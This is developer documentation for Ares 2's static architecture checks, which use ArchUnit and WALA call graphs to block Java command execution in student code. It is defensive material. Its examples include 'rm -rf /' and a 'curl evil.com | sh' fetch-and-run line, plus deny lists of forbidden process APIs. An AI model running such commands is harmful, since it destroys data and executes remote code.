Blocking Command Execution (Architecture)
The same forbidden thing the aspect-oriented programming (AOP) layer watches for while a pupil works, looked for before the pupil is asked anything.
Rather than waiting for the errand to be requested, this layer reads the compiled answer and asks whether any route at all leads from their desk to the part of Java that runs commands.
1. High-Level Overview
This document describes how Ares 2 prevents unauthorised command execution in student code using static code analysis techniques via Architecture Testing frameworks.
Static analysis cannot compare runtime command arguments with a policy entry. It
supplies a domain-wide deny rule only when no command allowance exists. With any
command allowance, AspectJ or instrumentation is authoritative for permitting the
exact allowance and rejecting non-matching commands and arguments; see
docs/policy/EnforcementModel.md.
Key Difference from AOP Approach:
- Aspect-oriented programming (AOP), at runtime: Monitors command execution during program execution and blocks forbidden commands in real-time
- Architecture (Static): Analyses compiled bytecode before execution to detect potential command execution violations in the code structure
1.1 Architecture Analysis Approach
What is Architecture Testing?
Architecture testing validates that code follows specific structural rules by analysing compiled bytecode. Instead of running the code and intercepting command execution calls (AOP), it examines the program structure to find violations.
Think of it like:
- AOP = Security Guard: Checks command parameters when processes are spawned
- Architecture = Building Inspector: Reviews code structure before execution to ensure no command execution capabilities exist
Two Analysis Frameworks:
ArchUnit (Static Analysis)
- Type: Pure static analysis using Archunit framework
- Strength: Fast, no call graph needed
- Method: Analyses class dependencies and method calls in compiled bytecode
- Use Case: Detecting direct and transitive method access patterns to command execution APIs
WALA (Call Graph Analysis)
- Type: Static analysis with call-graph modelling using IBM's T. J. Watson Libraries for Analysis (WALA)
- Strength: Precise call path detection, understands complex call chains
- Method: Builds a complete call graph representing all possible method invocations
- Use Case: Finding reachable command execution methods through complex call chains
Validation Flow:
- Load Classes: Import compiled
.classfiles from classpath - Build Analysis Model:
- ArchUnit: Load class metadata and dependencies
- WALA: Build complete call graph with entry points
- Define Rules: Specify forbidden method patterns (command execution operations)
- Execute Analysis: Check if student code violates rules
- Report Violations: Generate detailed error messages with call paths
1.2 Configuration Settings
Security policies are configured through settings that instructors can adjust:
| Setting | Type | Description | Example |
|---|---|---|---|
| programmingLanguageConfiguration | ProgrammingLanguageConfiguration (enum) | Bakes the architecture mode (ARCHUNIT or WALA), build tool, and AOP mode into one policy value | JAVA_USING_MAVEN_ARCHUNIT_AND_ASPECTJ |
| allowedClasses | ClassPermission[] | Classes exempt from the method-based architecture rules (including command execution) | [new ClassPermission("de.example.TrustedHelper")] |
| allowedPackages | PackagePermission[] | Packages allowed to be imported (only used by the PACKAGE_IMPORT rule) | [new PackagePermission("java.lang")] |
| theSupervisedCodeUsesTheFollowingPackage | String (part of SupervisedCode) | Base package of the supervised (student) code | "de.student" |
Notes on the analysis mode and classpath:
- The architecture mode itself is the enum
ArchitectureModewith the two constantsARCHUNITandWALA. There is no free-standingarchitectureModepolicy setting; the mode is derived fromProgrammingLanguageConfiguration. TheStringform ("ARCHUNIT"/"WALA") only appears as a parameter ofwriteArchitectureTestCase(...)andexecuteArchitectureTestCase(...). - There is no
classPathpolicy setting either: the classpath to analyse is derived from the build mode (Maven/Gradle), and the supervised scope comes fromSupervisedCode.theSupervisedCodeUsesTheFollowingPackage.
Architecture-Specific Configuration:
- No command-based permissions (no
commandsAllowedToBeExecuted, etc.) - Architecture testing detects ANY command execution attempt - No AOP mode selection - Uses the architecture mode instead
- Class-level exemptions (
allowedClasses) instead of command-level permissions
1.3 Summary: When Is Command Execution Blocked?
Access is BLOCKED 🔴 when ALL conditions are true:
- Architecture Mode Enabled: The configuration uses
ArchitectureMode.ARCHUNITorArchitectureMode.WALA - Student Code Contains Command Execution Calls: Analysis detects method calls to command execution APIs
- Calls Are Reachable: The forbidden methods can be reached from student code (directly or transitively)
- Not an Allow-Listed Class: The calling class is not in the
allowedClasses(ClassPermission) allow-list. (allowedPackagesdoes NOT exempt command execution; it only feeds thePACKAGE_IMPORTrule.)
If ANY condition fails → No Violation Detected 🟢
Key Differences from AOP:
- 🔴 Detected at analysis time (before execution), not at runtime
- 🔴 Blocks ALL command execution attempts, not just specific commands
- 🔴 Reports potential violations, even if the code path is never executed
Legend:
- 🔴 AssertionError thrown → Security violation detected in code structure
- 🟢 No violations found → Code passes architecture analysis
1.4 What Code Is Trusted vs. Restricted?
Test Code (No Restrictions):
- Classes on the
allowedClassesallow-list - Ares internal code (
de.tum.cit.ase.ares.api.*is excluded from the ArchUnit import and classified as infrastructure by WALA) - In WALA mode, infrastructure frames identified by
WalaPathClassification(java.,javax.,sun.,jdk.,com.sun., Ares, Byte Buddy, AspectJ, WALA, ArchUnit, and the configured test-helper prefixes)
Student Code (Subject to Security Checks):
- ArchUnit mode: every imported class from the analysed classpath except excluded Ares internals, unless the class is allow-listed
- WALA mode: entry-reachable code from the package prefix derived from the analysed classpath, with violations attributed to the nearest non-infrastructure student frame
Security Assumptions:
- Student code is compiled and available as
.classfiles - Class files have not been tampered with after compilation
- Call graph accurately represents possible execution paths (WALA mode)
2. Ares Monitors Command Methods
Both ArchUnit and WALA modes monitor the same set of command execution methods, loaded from template files:
Template Locations:
- ArchUnit:
src/main/resources/de/tum/cit/ase/ares/api/templates/architecture/java/archunit/methods/command-execution-methods.txt - WALA:
src/main/resources/de/tum/cit/ase/ares/api/templates/architecture/java/wala/methods/command-execution-methods.txt
What is Architecture Testing?
Instead of intercepting method calls at runtime (AOP approach), architecture testing analyses the compiled bytecode to detect which command execution methods the student code accesses. This happens during the test phase, before the code runs.
Two Analysis Approaches:
- ArchUnit: Fast static analysis of class dependencies
- WALA: Precise call graph analysis with false positive filtering
2.1 COMMAND SYSTEM - EXECUTE Operations
Monitored Methods (loaded from command-execution-methods.txt, 12 entries in each file):
java.lang.Runtime:
Runtime.exec(String)Runtime.exec(String[])Runtime.exec(String, String[])Runtime.exec(String[], String[])Runtime.exec(String, String[], File)Runtime.exec(String[], String[], File)Runtime.load(String)Runtime.loadLibrary(String)
java.lang.ProcessBuilder:
ProcessBuilder.<init>(String[])- ConstructorProcessBuilder.<init>(List)- ConstructorProcessBuilder.start()ProcessBuilder.startPipeline- Static method (listed without parameters, matched by prefix)
Method Signature Format:
The two files use different parameter notations. Entries omit return types; blank lines and lines whose first non-whitespace character is # are ignored by FileTools.readMethodsFile.
ArchUnit file (source form):
java.lang.Runtime.exec(java.lang.String)
java.lang.ProcessBuilder.<init>(java.lang.String[])
java.lang.ProcessBuilder.start()
WALA file, with Java Virtual Machine (JVM) descriptor parameters and no return type:
java.lang.Runtime.exec(Ljava/lang/String;)
java.lang.ProcessBuilder.<init>([Ljava/lang/String;)
java.lang.ProcessBuilder.start()
Why These Methods?
These are the primary APIs in Java for spawning system processes and loading native code:
Runtime.exec(): Direct command execution through shellRuntime.load()/Runtime.loadLibrary(): Loading native libraries, which can execute arbitrary native codeProcessBuilder: More flexible process creation with environment control
Coverage:
- ✅ All overloaded variants of
Runtime.exec() - ✅ Native library loading (
Runtime.load(),Runtime.loadLibrary()) - ✅ ProcessBuilder constructors (command stored in object)
- ✅ ProcessBuilder.start() and ProcessBuilder.startPipeline() (actual process spawn)
3. Student Code Triggers Security Check
When student code (any code within the supervised package) attempts to use one of these command execution methods, the architecture analysis will detect it during the test phase.
Example:
// Student Code
package de.student.solution;
import java.lang.Runtime;
public class StudentSolution {
public void maliciousAction() {
// This will be detected by architecture analysis
Runtime.getRuntime().exec("rm -rf /");
}
}
What happens during analysis:
ArchUnit Mode:
ClassFileImporterloadsStudentSolution.class- Analyses that
maliciousAction()method callsRuntime.exec() - Checks if
Runtime.exec()is in the forbidden methods list - Reports violation: "StudentSolution.maliciousAction accesses Runtime.exec"
WALA Mode:
- Builds call graph from student code entry points
- Collects all forbidden sinks in the call graph and checks which are reachable from the entry points
- Reconstructs a witness path:
StudentSolution.maliciousAction → Runtime.exec - Reports violation with source line number
Key Difference from AOP:
- This happens during test time, not when the code runs
- Detects all potential command execution attempts in the code structure, even unreachable code
- No runtime overhead, but cannot check specific command parameters
4. Ares Collects Information About the Command Execution
During architecture analysis, Ares collects information about the code structure to detect command execution patterns.
4.1 Loading Java Classes (ArchUnit)
Framework: TNGs ArchUnit (https://www.archunit.org/)
Step 1: Import Compiled Classes
There are two importer variants, depending on where the analysis runs:
Runtime execution path (ArchitectureMode.getJavaClasses(classPath)):
JavaClasses javaClasses = new ClassFileImporter()
.withImportOption(location ->
!location.toString().replace("\\", "/").contains("/de/tum/cit/ase/ares/api/")) // Exclude Ares internal classes
.importPath(classPath); // Import everything on the class path
Generated-code template path (JavaArchunitTestCase.javaClassesAsCode()):
JavaClasses javaClasses = new ClassFileImporter()
.withImportOption(ImportOption.Predefined.DO_NOT_INCLUDE_TESTS)
.withImportOption(location -> {
String path = location.toString().replace("\\", "/");
return !path.contains("/de/tum/cit/ase/ares/api/"); // Exclude Ares internal classes
})
.importPackages("de.student"); // Import the analysed packages
What happens:
- ClassFileImporter scans the classpath (runtime path) or the given packages (generated-code path) for
.classfiles - Loads class metadata (methods, fields, dependencies)
- Excludes Ares internal classes (
/de/tum/cit/ase/ares/api/); the generated-code variant excludes test classes - Creates
JavaClassesobject containing all analysed classes
Analysis Process:
- Import Classes: Load
.classfiles usingClassFileImporter - Analyse Dependencies: Build class dependency graph
- Check Access Patterns: Detect direct and transitive method calls
- Report Violations: Throw
AssertionErrorwith call chain details
Strengths:
- ✅ Fast analysis (no call graph construction)
- ✅ Detects transitive dependencies (A→B→C where C is forbidden)
- ✅ Simple configuration
- ✅ Good error messages with class names
Limitations:
- ⚠️ Less precise than WALA for complex call patterns
- ⚠️ May have false positives for conditional code paths
- ⚠️ Cannot determine whether a code path is reachable at runtime
Example Violation Detection:
// Student Code
class StudentCode {
void maliciousAction() {
Helper.runSystemCommand(); // Indirect call
}
}
class Helper {
void runSystemCommand() {
Runtime.getRuntime().exec("rm -rf /"); // Forbidden!
}
}
// ArchUnit detects: StudentCode → Helper.runSystemCommand → Runtime.exec
// Reports: "StudentCode transitively accesses Runtime.exec by [StudentCode.maliciousAction→Helper.runSystemCommand]"
4.2 Building the Call Graph (WALA)
Framework: IBM WALA (T.J. Watson Libraries for Analysis)
How it works:
// Build call graph
CallGraph cg = new CustomCallgraphBuilder(classPath).buildCallGraph(classPath);
// Check the rule against the call graph (throws AssertionError on violation)
JavaWalaTestCaseCollection.NO_CLASS_MUST_EXECUTE_COMMANDS.check(cg, allowedClasses);
Analysis Process:
- Create Analysis Scope: Define which classes to include/exclude
- Build Class Hierarchy: Resolve all type relationships
- Construct Call Graph: Map all possible method call relationships
- Find Entry Points: Identify starting methods in student code
- Sink Collection and Reachability: Collect all forbidden sinks and check which are reachable from the entry points (forward BFS)
- Path Classification: Reconstruct witness paths per sink and filter transitive-JDK false positives
Strengths:
- ✅ Very precise call path detection
- ✅ Understands complex call patterns (lambdas, method references)
- ✅ Can filter out transitive JDK-internal calls (false positive reduction)
- ✅ Provides exact call paths with line numbers
- ✅ Models runtime behaviour more accurately
Limitations:
- ⚠️ Slower analysis (call graph construction is expensive)
- ⚠️ Requires more memory
- ⚠️ More complex configuration (exclusions, entry points)
- ⚠️ May still have false positives for very dynamic code
Example Violation Detection:
// Student Code
class StudentCode {
void exploit() {
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "curl evil.com | sh");
pb.start(); // Forbidden!
}
}
// WALA detects:
// StudentCode.exploit → ProcessBuilder.start
// Reports: Method call at StudentCode.java:5 reaches forbidden ProcessBuilder.start
Special WALA Feature - Infrastructure Frame Classification:
WALA mode classifies each call-graph frame as either student-authored or infrastructure (JDK / Ares / test framework) via WalaPathClassification.INFRA_PREFIXES (e.g. java., javax., sun., jdk., com.sun., de.tum.cit.ase.ares.api., net.bytebuddy., org.aspectj., com.ibm.wala., com.tngtech.archunit.). Violations are attributed to the nearest student frame, never to an intermediate Java Development Kit (JDK) method (see 5.5 for the false-positive rules).
5. Ares Validates the Command Execution
5.1 ArchUnit Mode: Static Analysis
How it works:
// The runtime execution path uses the allow-aware rule
ArchRule rule = JavaArchunitTestCaseCollection.allowAwareRuleFor(
JavaArchitectureTestCaseSupported.COMMAND_EXECUTION, allowedClasses, allowedPackages);
// Execute rule
rule.check(javaClasses); // Throws AssertionError if violated
Step 2: Create Architecture Rule
The rule is built by createNoClassShouldHaveMethodRule(...) in JavaArchunitTestCaseCollection. The forbidden methods are loaded lazily on the first predicate evaluation, converted with convertArrayNotation (Java-style java.lang.String[] → JNI-style [Ljava.lang.String; as used by ArchUnit's getFullName()), and empty entries are filtered out:
private static ArchRule createNoClassShouldHaveMethodRule(String ruleName, Path methodsFilePath,
Set<ClassPermission> allowedClasses) {
return ArchRuleDefinition.noClasses().that(isNotAllowedClass(allowedClasses))
.should(new TransitivelyAccessesMethodsCondition(new DescribedPredicate<>(ruleName) {
private Set<String> forbiddenMethods;
@Override
public boolean test(JavaAccess<?> javaAccess) {
if (forbiddenMethods == null) {
forbiddenMethods = FileTools.readMethodsFile(FileTools.readFile(methodsFilePath)).stream()
.map(JavaArchunitTestCaseCollection::convertArrayNotation)
.collect(Collectors.toSet());
}
return forbiddenMethods.stream().filter(method -> !method.isEmpty())
.anyMatch(method -> javaAccess.getTarget().getFullName().startsWith(method));
}
})).as(ruleName);
}
Rule Components:
- Rule name: The localised string
"Executes commands"(message keysecurity.architecture.execute.command), applied via.as(ruleName) .that(isNotAllowedClass(allowedClasses)): Exempts allow-listed classes; with an empty allow-list the rule applies to every class (this unfiltered form is the static constantNO_CLASS_MUST_EXECUTE_COMMANDSused by the generated-template path)- DescribedPredicate: Tests if a method access is forbidden
- TransitivelyAccessesMethodsCondition: Finds transitive access paths
- ArchRule: Complete rule that can be checked against JavaClasses
Step 3: Run Architecture Test
try {
rule.check(javaClasses); // Throws AssertionError if violated
} catch (AssertionError e) {
// Parse error message and throw SecurityException
JavaArchitectureTestCase.parseErrorMessage(e);
}
When violation is found:
Architecture Violation [Priority: MEDIUM] - Rule 'Executes commands' was violated (1 times):
Method <de.student.StudentCode.exploit()> transitively accesses method <java.lang.Runtime.exec(java.lang.String)> by
[de.student.StudentCode.exploit() -> de.student.Helper.runCommand() -> java.lang.Runtime.exec()]
Error is converted to (message key security.archunit.violation.error, with the action "execute a command" derived from the rule name via mapRuleNameToAction):
throw new SecurityException(
"Ares Security Error (Reason: Student-Code; Stage: Execution): " +
"de.student.StudentCode.exploit() tried to illegally execute a command " +
"via java.lang.Runtime.exec(java.lang.String) (called by de.student.StudentCode) " +
"but was blocked by Ares."
);
Best For:
- Quick validation during development
- Broad detection of command execution patterns
- When exact call paths are not critical
5.2 WALA Mode: Call Graph Analysis
How it works:
The runtime execution path calls WalaRule.check(CallGraph, Set<ClassPermission>) (WalaRule.java), which performs the following steps:
public void check(CallGraph cg, Set<ClassPermission> allowedClasses) {
// 1. Collect every forbidden sink in the call graph (sorted by
// signature so the reported violation is deterministic)
List<CGNode> sinks = ...;
if (sinks.isEmpty()) {
return;
}
// 2. Forward BFS from the entry points
Set<CGNode> entryReachable = forwardReachableFromEntrypoints(cg);
if (entryReachable.isEmpty()) {
// Fail closed: sinks exist but nothing is reachable, so the
// analysis was mis-scoped and must not silently pass
throw new SecurityException(Messages.localized(
"security.architecture.wala.entrypoints.empty", ruleName));
}
// 3. For each reachable sink, reverse-walk towards the entry points
// and evaluate every distinct nearest-student approach
for (CGNode sink : sinks) {
if (entryReachable.contains(sink)) {
evaluateSink(cg, sink, allowedClasses, entryReachable); // throws on genuine violation
}
}
}
Each reconstructed witness path (entry → ... → forbidden sink) is classified by WalaPathClassification (see 5.4 and 5.5); the first genuine, non-exempt violation throws an AssertionError.
Example Violation Detection:
// Student Code
class StudentCode {
void exploit() {
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "curl evil.com | sh");
pb.start(); // Forbidden!
}
}
// WALA detects:
// StudentCode.exploit → ProcessBuilder.start
// Reports: Method call at StudentCode.java:5 reaches forbidden ProcessBuilder.start
Violation Example (message key security.architecture.method.call.message, format '%s'\n Method <%s> calls method <%s> in (%s.java:%d) accesses <%s>):
'Executes commands'
Method <de.student.StudentCode.exploit()> calls method <java.lang.ProcessBuilder.start()> in (ProcessBuilder.java:1170) accesses <de.student.StudentCode.exploit()>
The placeholders are: rule name, caller signature (nearest student frame), forbidden method signature, declaring class of the sink, source line, and entry-point signature. WALA's JVM-descriptor signatures are converted to source form via formatJvmSignature so the resulting SecurityException matches the format ArchUnit produces.
Best For:
- Precise violation detection
- Understanding exact call paths
- Production-grade security validation
- Reducing false positives
5.3 Transitive Access Detection (ArchUnit)
How TransitivelyAccessesMethodsCondition Works:
public class TransitivelyAccessesMethodsCondition extends ArchCondition<JavaClass> {
private final TransitiveAccessPath transitiveAccessPath = new TransitiveAccessPath();
@Override
public void check(JavaClass clazz, ConditionEvents events) {
// Get all method accesses from this class
for (JavaAccess<?> accessInsideClass : clazz.getAccessesFromSelf()) {
// Find transitive path to a violating (forbidden) method
List<JavaAccess<?>> path = transitiveAccessPath.findPathFromViolatingMethodTo(accessInsideClass);
if (!path.isEmpty()) {
// Report violation with complete call chain
events.add(newTransitiveAccessPathFoundEvent(accessInsideClass, path));
}
}
}
private class TransitiveAccessPath {
List<JavaAccess<?>> findPathFromViolatingMethodTo(JavaAccess<?> access) {
// Recursive DFS through the access graph, tracking already
// analysed methods to avoid cycles; the path is built in
// reverse and then reversed before being returned:
// [access1 -> access2 -> ... -> forbiddenAccess]
}
}
}
The violation event is created by newTransitiveAccessPathFoundEvent(...), which builds the "(transitively) accesses <...> by [...]" message and wraps it in SimpleConditionEvent.satisfied(access, message).
Example Path Detection:
StudentCode.exploit() calls:
├─ Helper.runCommand() ✓ (not forbidden, continue searching)
│ └─ Runtime.exec("rm -rf /") ✗ (FORBIDDEN! Report path)
└─ System.out.println() ✓ (not forbidden, ignore)
Result: Path found = [StudentCode.exploit → Helper.runCommand → Runtime.exec]
5.4 Sink Evaluation and Reverse Reachability (WALA)
Step 4: Evaluate Each Forbidden Sink
Instead of a single forward depth-first search (DFS), WalaRule examines every forbidden sink individually (evaluateSink):
- Reverse walk from the sink through infrastructure frames only (
WalaPathClassification.isInfraFrame), using aDeque-based worklist overcg.getPredNodes(...). - Every time the walk reaches a non-infrastructure predecessor (a "nearest-student approach"
[nearestStudentFrame, ...infra..., sink]), that approach is evaluated immediately (evaluateApproach). evaluateApproachbuilds the full witness path by prefixing an entry-to-student path (reverse BFS,reversePathToEntry); when the nearest student frame is itself allow-listed, it prefers a prefix routing through a non-allowed student ancestor so a violation cannot hide behind an allow-listed helper.evaluatePathclassifies the path (see 5.5) and, for a genuine violation, throws anAssertionErrorwith the localised method-call message.- A backstop of
MAX_APPROACHES_PER_SINK = 64bounds the reverse walk per sink; reaching it is logged as a warning, never a silent pass.
Why per-sink reverse reachability instead of one forward DFS?
The previous forward DFS (CustomDFSPathFinder, see 5.6) marked nodes globally visited, so each sink was reported on exactly one path. An allow-listed or false-positive caller discovered first could permanently mask a genuine violation by a different caller of the same sink. Evaluating every distinct nearest-student approach per sink eliminates that masking.
Fail-Closed Entry Points:
If forbidden sinks exist but cg.getEntrypointNodes() is empty, the analysis was mis-scoped (e.g. the entry-point package prefix did not match the analysed classes). WalaRule.check then throws a SecurityException (message key security.architecture.wala.entrypoints.empty) instead of silently passing.
Example Reachability Detection:
Entry: StudentCode.exploit()
↓ calls
ProcessBuilder.<init>(["rm", "-rf", "/"])
↓ calls
ProcessBuilder.start() ← FORBIDDEN METHOD REACHED!
Path: [StudentCode.exploit, ProcessBuilder.<init>, ProcessBuilder.start]
5.5 False Positive Filtering (WALA)
Challenge: Student code may use a permitted JDK application programming interface (API) (e.g. BufferedReader, AsynchronousSocketChannel) whose internal implementation transitively reaches a forbidden method. The student did not intentionally call the forbidden API; it was an internal JDK side-effect.
Solution: Per-path classification in WalaPathClassification:
// Package prefixes classified as infrastructure (never attributed as student code)
public static final List<String> INFRA_PREFIXES = List.of("java.", "javax.", "sun.", "jdk.", "com.sun.",
"de.tum.cit.ase.ares.api.", "net.bytebuddy.", "org.aspectj.", "com.ibm.wala.", "com.tngtech.archunit.",
"anonymous.toolclasses.", "metatest.");
// Subset that indicates a genuine transitive-JDK false positive
// (project test helpers are deliberately omitted)
static final List<String> TRANSITIVE_FALSE_POSITIVE_PREFIXES = List.of("java.", "javax.", "sun.", "jdk.",
"com.sun.", "de.tum.cit.ase.ares.", "net.bytebuddy.", "org.aspectj.", "com.ibm.wala.",
"com.tngtech.archunit.");
How a path is classified (evaluatePath in WalaRule):
nearestStudentFrame(path)scans from the sink towards the entry point and returns the first non-infrastructure frame. If the entire path is infrastructure, the path is ignored.isFalsePositiveTransitivePath(path, studentIdx)returnstruewhen every frame strictly between the nearest student frame and the sink is a transitive-false-positive frame. Such paths are ignored.- Direct violations are never suppressed: if the student frame is immediately adjacent to the forbidden sink (no intermediate frames), the path is always reported.
- Allow-listed classes (
ClassPermission) exempt a path ONLY when every student frame on it is allow-listed; otherwise the violation is attributed to the nearest non-allowed student frame.
Example Filtering:
Path 1 (Ignored - transitive JDK false positive):
StudentCode.readFile()
↓
java.io.BufferedReader.readLine() (infrastructure frame)
↓
<forbidden JDK-internal method>
Result: IGNORED (student called a permitted JDK API; the forbidden call is a JDK-internal side-effect)
Path 2 (Detected):
StudentCode.exploit()
↓
Runtime.exec("curl evil.com") (student frame directly adjacent to the sink)
Result: VIOLATION (direct command execution by student, never suppressed)
Note on Runtime.loadLibrary: Runtime.load and Runtime.loadLibrary are themselves on the forbidden command-execution lists (see 2.1). A student calling them directly is a violation; there is no "allowed helper API" list.
5.6 Legacy Utilities: ReachabilityChecker and CustomDFSPathFinder
The DFS-based path finding in the wala package is legacy and no longer on the production validation path; validation now runs through WalaRule.check as described above. ReachabilityChecker.findReachableMethods(...) (which delegates to CustomDFSPathFinder) is not called during validation any more. Note that ReachabilityChecker.getEntryPointsFromStudentSubmission(...) is still used in production, but only by CustomCallgraphBuilder to collect the call-graph entry points.
For historical context, CustomDFSPathFinder implements an iterative depth-first search (not a recursive one): it keeps the current path on a Deque stack, tracks per-node pendingChildren iterators, orders successors deterministically via sortedSuccessors (sorted by method signature, since WALA's HashSet-backed successor order differs between JVM runs), and skips methods listed in the false-positives file templates/architecture/java/wala/false-positives/false-positives-file.txt:
public @Nullable List<CGNode> find() {
if (!initialized) {
init(); // push first root, record its sorted successors
}
while (!stack.isEmpty()) {
if (P.test(stack.peek())) { // target filter matched
List<CGNode> path = new ArrayList<>(stack);
Collections.reverse(path);
advance(); // move forward for next call
return path;
}
advance(); // push next unvisited child or backtrack
}
return null;
}
Its global visited-marking (one reported path per sink) is exactly the masking weakness that motivated the per-sink reverse-reachability approach in WalaRule (see 5.4).
6. Writing Architecture Test Cases
Architecture test cases can be generated as Java code for integration into test suites.
ArchUnit Test Case Generation:
JavaArchunitTestCase testCase = JavaArchunitTestCase.archunitBuilder()
.javaArchitectureTestCaseSupported(JavaArchitectureTestCaseSupported.COMMAND_EXECUTION)
.allowedPackages(Set.of(new PackagePermission("java.lang")))
.javaClasses(javaClasses)
.build();
String testCode = testCase.writeArchitectureTestCase("ARCHUNIT", "");
Generated Code (from the template archunit/rules/COMMAND_EXECUTION.txt; ${javaClasses} is replaced by the ClassFileImporter expression shown in 4.1):
@Test
public void commandSystemShouldNotBeAccessed() {
javaClasses = new ClassFileImporter()
.withImportOption(ImportOption.Predefined.DO_NOT_INCLUDE_TESTS)
.withImportOption(location -> {
String path = location.toString().replace("\\", "/");
return !path.contains("/de/tum/cit/ase/ares/api/");
})
.importPackages("de.student");
JavaArchunitTestCaseCollection.NO_CLASS_MUST_EXECUTE_COMMANDS.check(javaClasses);
}
WALA Test Case Generation:
JavaWalaTestCase testCase = JavaWalaTestCase.walaBuilder()
.javaArchitectureTestCaseSupported(JavaArchitectureTestCaseSupported.COMMAND_EXECUTION)
.allowedPackages(Set.of(new PackagePermission("java.lang")))
.javaClasses(javaClasses)
.callGraph(callGraph)
.build();
String testCode = testCase.writeArchitectureTestCase("WALA", "");
Generated Code (from the template wala/rules/COMMAND_EXECUTION.txt; ${callGraph} is replaced by the call-graph construction expression):
@Test
public void commandSystemShouldNotBeAccessed() {
callGraph = new CustomCallgraphBuilder(classPath).buildCallGraph(classPath);
JavaWalaTestCaseCollection.NO_CLASS_MUST_EXECUTE_COMMANDS.check(callGraph);
}
7. Conclusion
Summary for Programming Instructors (TL;DR)
What does Architecture Testing do?
- ✅ Analyses compiled bytecode to detect forbidden command execution operations
- ✅ Works before code execution - catches violations during testing phase
- ✅ Provides two analysis modes: Fast (ArchUnit) and Precise (WALA)
- ✅ Detects transitive calls - finds violations even through helper methods
- ✅ Generates clear error messages with complete call chains
When do you need this?
- When you want to prevent students from executing system commands entirely
- For pre-submission checks in a continuous integration (CI) pipeline
- When runtime monitoring (AOP) is not feasible or desired
- For comprehensive code structure validation
How does it work (simplified)?
- Compile student code to
.classfiles - Architecture analysis scans bytecode for command execution method calls
- If forbidden patterns detected → Report violation with call chain
- Unlike AOP, this happens during testing, not when code runs
Comparison: Architecture vs. AOP
| Aspect | Architecture (ArchUnit/WALA) | AOP (Byte Buddy/AspectJ) |
|---|---|---|
| Analysis Time | Before execution (static) | During execution (runtime) |
| Detection | Analyses code structure | Intercepts method calls |
| Granularity | Binary (allowed/forbidden) | Command-based permissions |
| Performance Impact | Analysis overhead only | Runtime overhead on every call |
| False Positives | Possible (unreachable code) | None (only executed code checked) |
| Coverage | All code paths | Only executed paths |
| Configuration | Class-level exemptions | Command-level permissions |
| Use Case | Pre-submission validation | Runtime security enforcement |
| Error Timing | Test phase | Production execution |
Technical Details
ArchUnit Mode (Static Analysis)
Implementation:
- Uses ArchUnit's
ArchRuleand customTransitivelyAccessesMethodsCondition - Analyses class dependencies and method access patterns
- No call graph construction required
Violation Example:
Architecture Violation [Priority: MEDIUM] - Rule 'Executes commands' was violated (1 times):
Method <de.student.StudentCode.exploit()> transitively accesses method <java.lang.Runtime.exec(java.lang.String)> by
[de.student.StudentCode.exploit() -> de.student.Helper.runCommand() -> java.lang.Runtime.exec()]
Best For:
- Quick validation during development
- Broad detection of command execution patterns
- When exact call paths are not critical
WALA Mode (Call Graph Analysis)
Implementation:
- Builds complete call graph using IBM WALA framework
- Collects forbidden sinks, checks entry-point reachability (forward BFS), and reverse-walks per sink to attribute violations to the nearest student frame
- Includes per-path false positive classification for transitive JDK internals
Violation Example (format of security.architecture.method.call.message):
'Executes commands'
Method <de.student.StudentCode.exploit()> calls method <java.lang.ProcessBuilder.start()> in (ProcessBuilder.java:1170) accesses <de.student.StudentCode.exploit()>
Best For:
- Precise violation detection
- Understanding exact call paths
- Production-grade security validation
- Reducing false positives
Forbidden Method Templates
Both modes load forbidden methods from text files. The files contain one method per line without return types; blank lines and # comment lines are ignored.
ArchUnit File Format (source form):
java.lang.Runtime.exec(java.lang.String)
java.lang.Runtime.exec(java.lang.String[])
java.lang.Runtime.exec(java.lang.String, java.lang.String[])
java.lang.Runtime.exec(java.lang.String[], java.lang.String[])
java.lang.Runtime.exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime.exec(java.lang.String[], java.lang.String[], java.io.File)
java.lang.Runtime.load(java.lang.String)
java.lang.Runtime.loadLibrary(java.lang.String)
java.lang.ProcessBuilder.start()
java.lang.ProcessBuilder.<init>(java.util.List)
java.lang.ProcessBuilder.<init>(java.lang.String[])
java.lang.ProcessBuilder.startPipeline
WALA File Format (JVM descriptor parameters, no return type):
java.lang.Runtime.exec(Ljava/lang/String;)
java.lang.Runtime.exec([Ljava/lang/String;)
java.lang.Runtime.exec(Ljava/lang/String;[Ljava/lang/String;)
java.lang.Runtime.exec([Ljava/lang/String;[Ljava/lang/String;)
java.lang.Runtime.exec(Ljava/lang/String;[Ljava/lang/String;Ljava/io/File;)
java.lang.Runtime.exec([Ljava/lang/String;[Ljava/lang/String;Ljava/io/File;)
java.lang.Runtime.load(Ljava/lang/String;)
java.lang.Runtime.loadLibrary(Ljava/lang/String;)
java.lang.ProcessBuilder.start()
java.lang.ProcessBuilder.<init>(Ljava/util/List;)
java.lang.ProcessBuilder.<init>([Ljava/lang/String;)
java.lang.ProcessBuilder.startPipeline
Template Locations:
- ArchUnit:
src/main/resources/de/tum/cit/ase/ares/api/templates/architecture/java/archunit/methods/command-execution-methods.txt - WALA:
src/main/resources/de/tum/cit/ase/ares/api/templates/architecture/java/wala/methods/command-execution-methods.txt
Integration Example
Maven Project Setup:
<dependencies>
<dependency>
<groupId>de.tum.cit.ase</groupId>
<artifactId>ares</artifactId>
<version>2.1.5</version>
</dependency>
</dependencies>
Test Class:
@Test
void testNoCommandExecution() {
// Load student classes
JavaClasses javaClasses = new ClassFileImporter()
.importPackages("de.student");
// Create test case
JavaArchunitTestCase testCase = JavaArchunitTestCase.archunitBuilder()
.javaArchitectureTestCaseSupported(JavaArchitectureTestCaseSupported.COMMAND_EXECUTION)
.allowedPackages(Set.of())
.javaClasses(javaClasses)
.build();
// Execute
testCase.executeArchitectureTestCase("ARCHUNIT", "");
}
The architecture testing approach provides comprehensive security validation at compile/test time, complementing the runtime AOP approach for defence-in-depth security against command execution attacks.